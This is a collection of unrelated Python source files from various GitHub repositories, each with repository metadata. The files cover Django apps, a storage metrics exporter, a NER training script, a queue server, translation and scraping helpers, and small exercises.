73b64b3ddffc9835ff9c714c623e9ca6fe0dd447
/password_generator/urls.py
12a764b377a2c8b19fbd69b86bd187e0c9a4e01b
[]
no_license
MhrjAniiz/passsword-generator
2854a194f8df48dec81a8103a2a684c007dc635c
e5562c2b9285794bdb67c595bc5652bc76976e78
refs/heads/master
2022-04-10T01:41:51.274530
2020-03-19T11:55:43
2020-03-19T11:55:43
248,481,481
1
0
null
null
null
null
UTF-8
Python
false
false
918
py
"""password_generator URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.0/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') ...
[ "anishmaharjan17@gmail.com" ]
anishmaharjan17@gmail.com
d82fe4b434a894aef6b5165f91ff32de5f8be634
6f9e90cde4a6301e545e746b4308902511477aab
/exptool/basis/component.py
e9a1253e450587d91dfac063850d5d3e0343134e
[ "BSD-2-Clause" ]
permissive
michael-petersen/exptool
ad96eee4fb74dc859c6da5757297fd7e3b3b17fa
189ed0b94b08309badde5da9b31f233cc2ec1765
refs/heads/main
2023-08-04T22:44:55.176809
2023-07-26T15:30:09
2023-07-26T15:30:09
73,018,106
5
1
NOASSERTION
2023-07-26T15:33:09
2016-11-06T20:51:14
Jupyter Notebook
UTF-8
Python
false
false
1,539
py
''' ______ ______ .___ ___. .______ ______ .__ __. _______ .__ __. .___________. / | / __ \ | \/ | | _ \ / __ \ | \ | | | ____|| \ | | | | | ,----'| | | | | \ / | | |_) | | | | | | \| | | |__ | \| | `---| |----` | | | | | | | |\/| ...
[ "petersen.michael.s@gmail.com" ]
petersen.michael.s@gmail.com
cce1c82f70ddd06981d023a7804abd40aa491d36
7529324c9df28345d28c74ab7e0515a74d9266a2
/tododjango/settings.py
a84d9779d5512027d57d042aead098c823524348
[]
no_license
Akhil-Kar/Todo-app
0b0078ce5c9f5180c5f01d6f96fbc180c92c1b1c
0a5f61c6b4552e7db6f99d21ad91cd8c3c5a8e2f
refs/heads/main
2023-07-31T11:22:28.247684
2021-06-28T04:29:29
2021-06-28T04:29:29
404,752,637
0
0
null
null
null
null
UTF-8
Python
false
false
3,379
py
""" Django settings for tododjango project. Generated by 'django-admin startproject' using Django 3.2.4. For more information on this file, see https://docs.djangoproject.com/en/3.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.2/ref/settings/ """ from path...
[ "akhilkar@ternaengg.ac.in" ]
akhilkar@ternaengg.ac.in
8fcf32239882a29fa5af2da1bcca013a6fbdee66
2466ac1fcf22cf818ed2eedcb023632235f75c95
/flasharray_collector/flasharray_metrics/flasharray.py
10dc65ed4fb33b70cb34eaa2a3b05cdb1f0055f9
[ "Apache-2.0" ]
permissive
StrykerSKS/pure-exporter
3048931ef9c5f744511d4cef767d034610e3f5b9
6c7fce9ab82611784153e169e11ce2c6851d18c2
refs/heads/master
2023-03-05T05:22:46.138877
2021-02-08T23:39:18
2021-02-08T23:39:18
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,891
py
import re import urllib3 import purestorage # disable ceritificate warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) PURE_NAA = 'naa.624a9370' kpi_params = [{'action': 'monitor'}, {'action': 'monitor', 'mirrored': True}, {'action': 'monitor', 'latency': True}, ...
[ "eugenio.grosso@gmail.com" ]
eugenio.grosso@gmail.com
483cfbbfb26d7be532e3e0cb940728d4c1e12202
d5929d2076af03f824a68a3f02f90f6dbd7671c3
/Documentos/Python/Diagramacion/Ejercicios/5/4 5.py
4f2bde3d1570a4933ad3c48bd2d94295fbb0dcd3
[]
no_license
xcabezaderadiox/EDD_Paradigmas
5603822e06cd5edb0955dacbfbaedaf1449092dc
5409883fb6aefb30834fad39a8e59d3d943d823f
refs/heads/master
2021-08-15T11:42:52.935451
2017-11-17T20:11:11
2017-11-17T20:11:11
108,488,508
0
0
null
null
null
null
UTF-8
Python
false
false
1,164
py
print ('BIENVENID@ CONDUCTOR') def auto(): Patente = input('Por favor ingrese patente del auto: ') global Resultado global Amarilla global Roja global Rosa global Verde global Azul Resultado = Patente[4] if Resultado == "1" or Resultado == "2": print ('Es Amarilla') ...
[ "christianmontesdeoca89@yahoo.com.ar" ]
christianmontesdeoca89@yahoo.com.ar
52cd7955d3433c7db048edb55152a09ae1c047f1
d1a380bbf6e290edbb1b6ac62d4d9f8c0c8f80f1
/django_shorts.py
e3ea9f278376d6929fb2db1515603b5ce78a2d0f
[ "MIT" ]
permissive
mhadiahmed/django-shorts
6310bf12812fab2bd4283e50ec57416b473eeff4
3803992455bda14e7f20327d22583c6d064fe0aa
refs/heads/main
2023-03-17T10:11:09.655564
2021-03-07T09:49:28
2021-03-07T09:49:28
345,284,896
0
0
null
null
null
null
UTF-8
Python
false
false
2,096
py
#!/usr/bin/env python import os import sys from subprocess import call ALIASES = { # Django 'c' : 'collectstatic', 'r' : 'runserver', 'sd' : 'syncdb', 'sp' : 'startproject', 'sa' : 'startapp', 't' : 'test', # Shell 'd' : 'dbshell', 's' : 'shell', # Auth 'csu': 'c...
[ "mhadiahmed63@gmail.com" ]
mhadiahmed63@gmail.com
1c2f7517d5ae45640f9ae756f21f94d9b7a7b341
4effc8340c0377065c2b87a48522e699db9c45a2
/models/bert_ner/main.py
1494ee033b706ddf7f97d8dda9b06c6aaa12189a
[ "Apache-2.0" ]
permissive
SunYanCN/ChinNER
5134f348d63af68ee3a28863ffa7188ce71535b2
9b224f5eb6b5f2d734b258405b5ff14e44a3b402
refs/heads/master
2020-06-03T00:03:27.647520
2019-06-26T08:11:10
2019-06-26T08:11:10
191,354,032
0
0
Apache-2.0
2019-12-30T06:06:25
2019-06-11T11:03:48
Python
UTF-8
Python
false
false
7,249
py
import os import tensorflow as tf from .bert import modeling from .model import model_fn_builder from .data_helper import file_based_convert_examples_to_features from .data_helper import file_based_input_fn_builder from .data_helper import serving_fn_builder from .data_helper import DataProcessor tf.logging.s...
[ "chin340823@163.com" ]
chin340823@163.com
f6b28f22787ec511d9b652e833c2e15d3cb09928
275e770eaf9708e31d50dd62857fc52716e985af
/python/python/widget/oval progam.py
ff91cbe45a3d2fcd1111dcb9c0ae22b635ba724c
[ "MIT" ]
permissive
priyamshah112/Basic_Python
75127744a6a25c72d2eba8e399e920509bd17ee2
11447cf062209de750fbe938402d738b1a5ff76c
refs/heads/master
2021-10-10T15:43:50.151891
2019-01-13T13:46:40
2019-01-13T13:46:40
106,164,530
0
0
null
2018-10-10T19:07:16
2017-10-08T09:31:29
Python
UTF-8
Python
false
false
182
py
from tkinter import * canvas_width = 190 canvas_height =150 master = Tk() w = Canvas(master,width=canvas_width,height=canvas_height) w.pack() w.create_oval(50,50,100,100) mainloop()
[ "priyamshah112@gmail.com" ]
priyamshah112@gmail.com
507a12221d7684eb3558eb0431518358aead4dab
9c188c574bfc3856d06ed857979f049e873da246
/my_module.py
fa07d1f7c127e82b16381189d28e4388f0b757f7
[]
no_license
WoodySeven/chenjin1
21534b483e9c52fdcbfbe8221278172f98f46772
00a9adab8fda22f3808b80af704777a9e609b9f1
refs/heads/master
2021-08-31T13:42:57.056426
2017-12-21T14:41:28
2017-12-21T14:41:28
114,527,095
0
0
null
null
null
null
UTF-8
Python
false
false
155
py
#!/usr/bin/env python from my_lib.sum import get_sum a = int(input('请输入第一个数')) b = int(input('请输入第二个数')) print(get_sum(a,b))
[ "277095144@qq.com" ]
277095144@qq.com
968098c7dda7c2b6a6bd7ac9f39b5b2d28b5879e
79fcefd1a08c116aafae825023a7b6deb8fa8168
/base raspberry pi/gui/icon.py
ffc4dce733b6a72c43d9b210b7fcd92ac4431f6e
[]
no_license
NeelamMahapatro/Health-Monitoring-System
abfe1b7e486bd14058a04393daa4e5ed22812a1e
fa19fcae9dd06465772e81ee0171ebf1016ff033
refs/heads/master
2020-04-14T23:06:44.713242
2019-01-05T05:48:10
2019-01-05T05:48:10
164,190,296
1
0
null
2019-10-21T18:03:59
2019-01-05T06:53:22
Python
UTF-8
Python
false
false
2,603
py
import tkinter as tk import os import sys from PIL import Image, ImageTk import random,string, time import serial def on_click_pbm(): print("destroy server py file") os.system("sh kill_serverfile.sh") time.sleep(2) print("pbm clicked") root.destroy() os.system("python barplot_pbm.py") de...
[ "neelammahapatro36@gmail.com" ]
neelammahapatro36@gmail.com
b7fde50be4f8559075b8293bd79b33f8dec2210a
070bba9190e27ef808997f3b0ad4d8de6de74ad4
/balls.py
356935dd680514c50469f87f2c174b934e8ad602
[]
no_license
Vazexon/Codewars
7452d63614b0ec7dd3ea6008c09509bf0a9eb18f
cdd7dc5de040798349537acf272232427a4b99d8
refs/heads/main
2023-02-24T14:31:32.930735
2021-02-05T20:36:03
2021-02-05T20:36:03
336,352,511
0
0
null
null
null
null
UTF-8
Python
false
false
353
py
def bouncing_ball(h, bounce, window): if h > 0 and 0 <= bounce < 1 and window < h: falls = 0 while h > window: h = h * bounce falls += 1 app = falls + (falls - 1)вввв return app else: return -1 print(bouncing_ball(2, 0.5, 1)) print(b...
[ "noreply@github.com" ]
Vazexon.noreply@github.com
b5efb434ce77703458f8740d6c14df96fcb10dec
da0e2a4170e41df9ab982abd4a9a9161453359b3
/bluesky_queueserver/manager/output_streaming.py
4eca1b9f34e40a3e3a1ca51e023ce119e8276286
[ "BSD-3-Clause" ]
permissive
bluesky/bluesky-queueserver
a6da30e39cf63b5a5f6b8ed0d5925b255acb38bb
f7d489f01e73451b366eb8ee64a60a1a6aaeb695
refs/heads/main
2023-08-31T14:32:22.350524
2023-08-18T17:20:29
2023-08-18T17:20:29
228,529,527
11
20
BSD-3-Clause
2023-09-11T22:35:57
2019-12-17T04:02:01
Python
UTF-8
Python
false
false
24,735
py
import argparse import asyncio import inspect import io import json import logging import os import sys import threading import time as ttime import zmq import bluesky_queueserver logger = logging.getLogger(__name__) qserver_version = bluesky_queueserver.__version__ default_zmq_info_address_for_server = "tcp://*:6...
[ "gavrilov.dvs@gmail.com" ]
gavrilov.dvs@gmail.com
bcc103fb0e9bedbb72374884aa73dcdff5e9060d
61446aa311cdb0169d96b2aedc6a773396a350b7
/movie/migrations/0001_initial.py
1d4fcbc9cb377d56da08b00a57179a7952dccba9
[]
no_license
SahilDefault/imdb-clone
7ed71dfa0910852b8a42f0f3a3c9b611db952632
813083c5089bbb37734e3d1791fbd043249a69b9
refs/heads/master
2023-02-08T01:33:27.681939
2020-12-29T19:47:43
2020-12-29T19:47:43
325,373,023
0
0
null
null
null
null
UTF-8
Python
false
false
1,135
py
# Generated by Django 3.1.4 on 2020-12-28 15:38 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Movie', fields=[ ('id', models.AutoField(au...
[ "sahil@getdefault.in" ]
sahil@getdefault.in
489406a9a8c5f22165f5444d88ed93ed4aae4208
5e4f4fa25a243504da44660ef35f9a81a0e80c8c
/src/Common/BingTrans.py
f99415eb7b9c9f2ed7b34f316103ba793183af0f
[]
no_license
JalonJia/NormingWork
dc7a676e36d1f0adad0015475960a562f138e6f8
45065fd844e92d1e9c0c61dbf7a13cc3a9392803
refs/heads/master
2022-04-27T06:47:12.382995
2022-04-24T07:57:31
2022-04-24T07:57:31
147,275,556
0
0
null
null
null
null
UTF-8
Python
false
false
5,025
py
import json import urllib.request import urllib.parse import os import requests import time import re ''' LANGUAGES = { 'zh-CN': 'chinese_simplified', 'zh-TW': 'chinese_traditional', 'en': 'english', 'fr': 'french', 'es': 'spanish', } ''' class BingTrans: def __init__(self): #, to...
[ "jalon.jia@norming.com.cn" ]
jalon.jia@norming.com.cn
2c161ca9efa8d4b256b9cbf48c804dc8659b5b10
1086ef8bcd54d4417175a4a77e5d63b53a47c8cf
/Forks/uvapy-master/geometry/p10005.py
22919427968cb78efca83f85a7629ab024461bf1
[ "MIT" ]
permissive
wisdomtohe/CompetitiveProgramming
b883da6380f56af0c2625318deed3529cb0838f6
a20bfea8a2fd539382a100d843fb91126ab5ad34
refs/heads/master
2022-12-18T17:33:48.399350
2020-09-25T02:24:41
2020-09-25T02:24:41
298,446,025
0
0
null
null
null
null
UTF-8
Python
false
false
1,600
py
from math import isclose class Circle: def __init__(self, **kwargs): if "p1" in kwargs and "p2" in kwargs and "p3" in kwargs: self.from_three_points(kwargs["p1"], kwargs["p2"], kwargs["p3"]) # elif "c" in kwargs and "r" in kwargs: # self.from_center_radius(kwargs["c"], kwargs["r"]) else: ...
[ "elmanciowisdom@gmail.com" ]
elmanciowisdom@gmail.com
5ed9be6c22b98812d7d3a0b3686c04034ff41090
eac7080bf3a627fb1c62952d2ccad56c6a3d8b32
/lll/data/qihuo_eur_kc/mjt_ali_http_lll.py
13529952cf5430b5cce947838282e18077cfac4e
[]
no_license
LIlei4836/mainlandServer
23339207d1807c3bbc48573db730f56e7c3589d2
18bbf5666b99b90860a327c56e72fd7e1b19fb43
refs/heads/master
2022-11-25T00:52:55.509113
2020-07-31T09:14:05
2020-07-31T09:14:05
283,992,392
0
0
null
null
null
null
UTF-8
Python
false
false
3,680
py
#!/usr/bin/python3 #coding: utf-8 #对redis中所需要的 有序集合更新初始化,本脚本运行一次即可, #coding=utf-8 from userAgents import get_html,get_html_bytes import sys import redis import time import pymysql from multiprocessing import Pool import warnings import json import random import threading r = redis.Redis(host='127.0.0.1', port=6379,...
[ "1204828314@qq.com" ]
1204828314@qq.com
9af1edc359cc63d66c1da8e1c8fabe5111076e77
bcbaf879e97258974a4f0082e249721e2757c991
/gis_1/urls.py
b53d7dd2f006d91920b01cef8ef876203654abd2
[]
no_license
gyullo18/gis_1ban
c6dfe6b20ae94baf54aec1148e1483056214dc45
3532f44ee553ae042addb7f5ded8d0287f30edb6
refs/heads/master
2023-08-23T18:08:50.386674
2021-10-06T00:29:49
2021-10-06T00:29:49
381,923,459
0
0
null
null
null
null
UTF-8
Python
false
false
1,575
py
"""gis_1 URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based v...
[ "gold798@naver.com" ]
gold798@naver.com
1336aaa3cf00acaea477d1715361e818158c5ce9
6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4
/TAhuay457cw5AekBe_5.py
91d14e284af645ac11d85fa441299abdbfccac66
[]
no_license
daniel-reich/ubiquitous-fiesta
26e80f0082f8589e51d359ce7953117a3da7d38c
9af2700dbe59284f5697e612491499841a6c126f
refs/heads/master
2023-04-05T06:40:37.328213
2021-04-06T20:17:44
2021-04-06T20:17:44
355,318,759
0
0
null
null
null
null
UTF-8
Python
false
false
341
py
from re import sub vowels = {"a", "e", "i", "o", "u", "A", "E", "I", "O", "U"} def monkey_talk(txt): return "{}.".format(sub(r"^[eo]", lambda m: m.group().upper(), sub(r"[A-Za-z]+", lambda m: "eek" if m.group()[0] in vowels ...
[ "daniel.reich@danielreichs-MacBook-Pro.local" ]
daniel.reich@danielreichs-MacBook-Pro.local
81bb1b7982240f5aa60261ffdc693d098a960df8
c1ca874a9a7cde202af099a063bf1041813c811d
/wa_profile/add_dates.smk
bc15c1f763ee7016e5fd07563d8b36be2782f86c
[ "MIT" ]
permissive
vmallett/ncov-wa-build
580988297c9a1b4751349d6e34612f6c978a3839
a8d331e20cdf04762b6f1f9c8ae3423899990cb9
refs/heads/master
2023-02-18T08:05:05.272215
2021-01-15T19:24:41
2021-01-15T19:24:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
516
smk
from dateutil import relativedelta # Calculate dates d = date.today() four_m = d - relativedelta.relativedelta(months=4) one_y = d - relativedelta.relativedelta(years=1) # Set earliest_date & latest_date in builds if "wa_4m" in config["builds"]: config["builds"]["wa_4m"]["latest_date"] = d.strftime('%Y-%...
[ "cassia.wagner9@gmail.com" ]
cassia.wagner9@gmail.com
3be3d731a1b5a62adfff4cc8c15510b9ea59fa00
c0813e81f4fd5d449e405f29bd03270dd99c27a5
/app/api/posts.py
9f6716c1c3f14f6d500fe258188448a3b4614ac5
[]
no_license
MuhonenN/DogDate
95a4097d74cdf440967de2f9178da56aa4ccc6b5
d645d3cbc185dcc0cfebf4de3fe3986432aaebc6
refs/heads/main
2023-02-20T05:30:02.856166
2021-01-20T11:08:11
2021-01-20T11:08:11
331,281,093
0
0
null
null
null
null
UTF-8
Python
false
false
1,620
py
from flask import jsonify, request, g, url_for, current_app from .. import db from ..models import Post, Permission from . import api from .decorators import permission_required from .errors import forbidden @api.route('/posts/') def get_posts(): page = request.args.get('page', 1, type=int) pagination = Post....
[ "miuhonen@gmail.com" ]
miuhonen@gmail.com
0e5e79f92ca6598427b707d839fd8accdd4365b9
a2238429ea0e84e30441e7bf7319cd9810d0eb22
/posts/migrations/0007_auto_20210215_1643.py
5f58a3570504936e430458803d87ce3d2c53cab6
[]
no_license
praveenvino39/instagram_clone
f00a33d21eb75fa692468ce1c158d25bbd457b9c
b3316751a0ce419c2f88153b5e99096976c317c5
refs/heads/main
2023-08-23T15:23:12.500964
2021-10-15T20:10:13
2021-10-15T20:10:13
339,464,615
5
0
null
null
null
null
UTF-8
Python
false
false
384
py
# Generated by Django 3.1.6 on 2021-02-15 16:43 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('posts', '0006_auto_20210215_1641'), ] operations = [ migrations.AlterField( model_name='post', name='date', ...
[ "praveena4e@gmail.com" ]
praveena4e@gmail.com
76472d83546041dc98d637cb90fa96479c7dc6d1
427c453032b53df02fdace038becfda396dc64a7
/hexrd/ui/indexing/fit_grains_results_dialog.py
ca461a4cd5a40420d1d028f6601aadc9376899c3
[ "BSD-3-Clause" ]
permissive
ap439111/hexrdgui
60d4af28f96925d742444885c82736fc7780fca3
a70f2d880697ff8dc17d3d7e65636a7184c6700f
refs/heads/master
2023-01-03T23:13:22.908836
2020-10-30T18:00:43
2020-10-30T18:00:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
12,842
py
from functools import partial import os import sys import numpy as np from mpl_toolkits.mplot3d import Axes3D # noqa: F401 unused import import matplotlib import matplotlib.ticker as ticker from matplotlib.backends.backend_qt5agg import FigureCanvas from matplotlib.figure import Figure from PySide2.QtCore import ( ...
[ "patrick.avery@kitware.com" ]
patrick.avery@kitware.com
e2d5b66c94892e76afd0149cd0fb6494aeeb3d47
45a1d0307397f490518be29c26a4f784f58271bf
/model/account_invoice_refund.py
69e1b053ac6d62f79d0b567ef41f8d3211007f2b
[]
no_license
itgeopanama/purchase_invoice_stock
a982b64b3fde69e204511131d1115223a72484d1
dcb3d4d43904db54f99b1e35a8d942d2d6b59412
refs/heads/master
2020-08-19T07:29:56.385754
2019-10-17T22:10:08
2019-10-17T22:10:08
215,894,033
1
0
null
null
null
null
UTF-8
Python
false
false
4,805
py
# -*- coding: utf-8 -*- from odoo import models, fields, api, _ from odoo.tools.safe_eval import safe_eval from odoo.exceptions import UserError import logging _logger = logging.getLogger(__name__) class AccountInvoiceRefund(models.TransientModel): """Refunds invoice""" _inherit = "account.invoice.refund" @api...
[ "itgeopanama@gmail.com" ]
itgeopanama@gmail.com
5fc43c9082ea816d3d55ac01ea3a1c7826af6d1b
0031a7a821eca49726ec79f8799edb659e57e1d9
/faceRecon/views.py
307be68c52eae15c2538c8c3179129716bab46fb
[ "Apache-2.0" ]
permissive
papandas/django-facial-recognition
8ec18638385a8c77224679a7ca2cf3fe7a58a906
c621738ad9b5f158fd8214911eb7d255737e67d1
refs/heads/master
2021-02-14T03:20:59.364929
2020-03-04T23:20:53
2020-03-04T23:20:53
244,762,130
4
3
null
null
null
null
UTF-8
Python
false
false
6,383
py
from django.shortcuts import render, redirect from django.conf import settings from django.contrib import messages from django.contrib.auth.models import User from .forms import UserSelection import cv2 import numpy as np import os from PIL import Image BASE_DIR = getattr(settings, 'BASE_DIR') def index(request): ...
[ "hexoindia@gmail.com" ]
hexoindia@gmail.com
f199fbdffc4654d5ee9f6557657c5eb59a009c8b
1d0e80b58d3752b859cd0fcff53c87d23bb242be
/django_spravka11/parsing/afisha/afisha-rublic.py
5d73164051b0ed004886919fb7b442625a985b8c
[]
no_license
ilyutoev/code-sample
8431b511e30b80907425f0517f6f5701ea58fd28
f9744a2ae34ff508196983f8b2c7232abd8beaf4
refs/heads/master
2021-01-10T10:18:05.840743
2017-11-21T18:55:24
2017-11-21T18:55:24
49,500,031
0
0
null
null
null
null
UTF-8
Python
false
false
2,708
py
from grab import Grab from purifier.purifier import HTMLPurifier import datetime import sys sys.path sys.path.append('/home/spravka/projects/spravka11/spravka11/parsing/') from parsingfunct import clean_text, write_event_to_db, last_date_event pur = HTMLPurifier({}) #удаляем все теги def main(): print('\n-- Парси...
[ "ilyutoev@gmail.com" ]
ilyutoev@gmail.com
14f852100d7cd55bcde9414f29595cd285bcc461
f488dfb9b343c66d4117a13e7ce6decb496b4db4
/trippysour/19_입국심사.py
e16cdcd47eab6735c8ed834baa14f4c1830d8b36
[]
no_license
toad0475/Algorithm_Greenhorns
3ea410f5fd84ec28dd5461741bbbdf4345a4ec02
db700e9416a960fd8aa6124493f8b0adc40505d2
refs/heads/master
2021-08-08T21:03:03.376030
2020-08-12T04:58:19
2020-08-12T04:58:19
210,993,106
4
1
null
null
null
null
UTF-8
Python
false
false
510
py
import heapq def solution(n, times): queue = [] for num in times: for i in range(1, n): heapq.heappush(queue, num * i) print(queue) for i in range(n): answer = heapq.heappop(queue) return answer # print(solution(6, [7, 10])) #answer = 28, queue = [7, 14, 10, 28, 3...
[ "noreply@github.com" ]
toad0475.noreply@github.com
77c1c0f37b9c767d156e8fbc4a06ee1245653f2c
914676be23209fc6d4f584f18753f49a7e545eb7
/main/data_processing.py
9fff04199fdf5871c072fe540fe7a484ab4daac8
[]
no_license
U201811950/Homework_1
ba46125e60717ad5c33586ab4271713a7a824a2f
0423f87be40b3e882d052447eab613daeeba90d8
refs/heads/master
2022-12-02T23:54:44.941271
2020-08-15T02:07:23
2020-08-15T02:07:23
287,181,905
0
1
null
2020-08-14T03:05:18
2020-08-13T04:36:37
Python
UTF-8
Python
false
false
1,021
py
import baostock as bs import pandas as pd def get_data_d(stock_name): ####登录系统#### lg = bs.login() #显示登录返回信息 print('login respond error_code:'+lg.error_code) print('login respond error_msg:'+lg.error_msg) #####获取股票历史K线数据#### #详细指标参数 rs = bs.query_history_k_data_plus(stock_name, "date,...
[ "1300803599@qq.com" ]
1300803599@qq.com
f6978843fabe29033f6d93cba0233f6a517a23ff
e8c38be688af983f15066f78dfd8243b7829abd5
/Machine Learning A-Z Template Folder/Part 2 - Regression/Section 5 - Multiple Linear Regression/mycode.py
580f0c5867a4f892dd213d60c038d330a9246042
[]
no_license
pmudaiya/MachineLearning
34123440c164786032e54402a188bc4465304a6a
3f533345cd4a8d7f3daac2ffc92090e915f3616b
refs/heads/master
2021-04-09T16:12:19.015996
2020-09-25T04:50:35
2020-09-25T04:50:35
125,696,914
0
0
null
null
null
null
UTF-8
Python
false
false
1,664
py
# Data Preprocessing Template # Importing the libraries import numpy as np import matplotlib.pyplot as plt import pandas as pd # Importing the dataset dataset = pd.read_csv('50_Startups.csv') X = dataset.iloc[:, :-1].values y = dataset.iloc[:, 4].values #encoding categorical data from sklearn.preprocessing import La...
[ "prakharmudaiya14@gmail.com" ]
prakharmudaiya14@gmail.com
24bf9f72618117afde92c9629fa66735202f7ee2
e095d920e32dec10558e352b4eee708d72d30281
/apps/user_app/models.py
465878edae2c9485d7a999d17bf0630a927e36f2
[ "MIT" ]
permissive
pedrolinhares/po-po-modoro
1938e5809651d4892a962b8495e4f003c2d991ae
d72c2aaf8b7154dd9b5b0165c31bd5befe14b96d
refs/heads/master
2016-08-05T22:41:25.304124
2011-12-18T22:57:47
2011-12-18T22:57:47
2,831,732
1
1
null
null
null
null
UTF-8
Python
false
false
294
py
from django.db import models from django.contrib.auth.models import User class UserProfile(models.Model): user = models.ForeignKey(User, unique=True) activation_key = models.CharField(max_length=40) key_expires = models.DateTimeField() def __unicode__(self): return self.user.username
[ "pedrolmota@gmail.com" ]
pedrolmota@gmail.com
1cedde77ae394ba32a9d083fb8ec824a480ef2c5
6974096eaf642a1c3dfbc4567d0f0776621261de
/setup.py
2eea792aa201ef462b7a712aa3ca336ef13a4f22
[ "Apache-2.0" ]
permissive
thrrgilag/pantalaimon
29709e1231db7655e57685babad27094f68afe5c
d388a21b9b1f17b7f52790f79dd571d8e75a4543
refs/heads/master
2022-11-13T12:56:14.747072
2020-07-02T10:19:59
2020-07-02T10:19:59
277,380,106
0
0
Apache-2.0
2020-07-05T20:41:57
2020-07-05T20:41:56
null
UTF-8
Python
false
false
1,345
py
# -*- coding: utf-8 -*- from setuptools import find_packages, setup with open("README.md", encoding="utf-8") as f: long_description = f.read() setup( name="pantalaimon", version="0.6.5", url="https://github.com/matrix-org/pantalaimon", author="The Matrix.org Team", author_email="poljar@termin...
[ "poljar@termina.org.uk" ]
poljar@termina.org.uk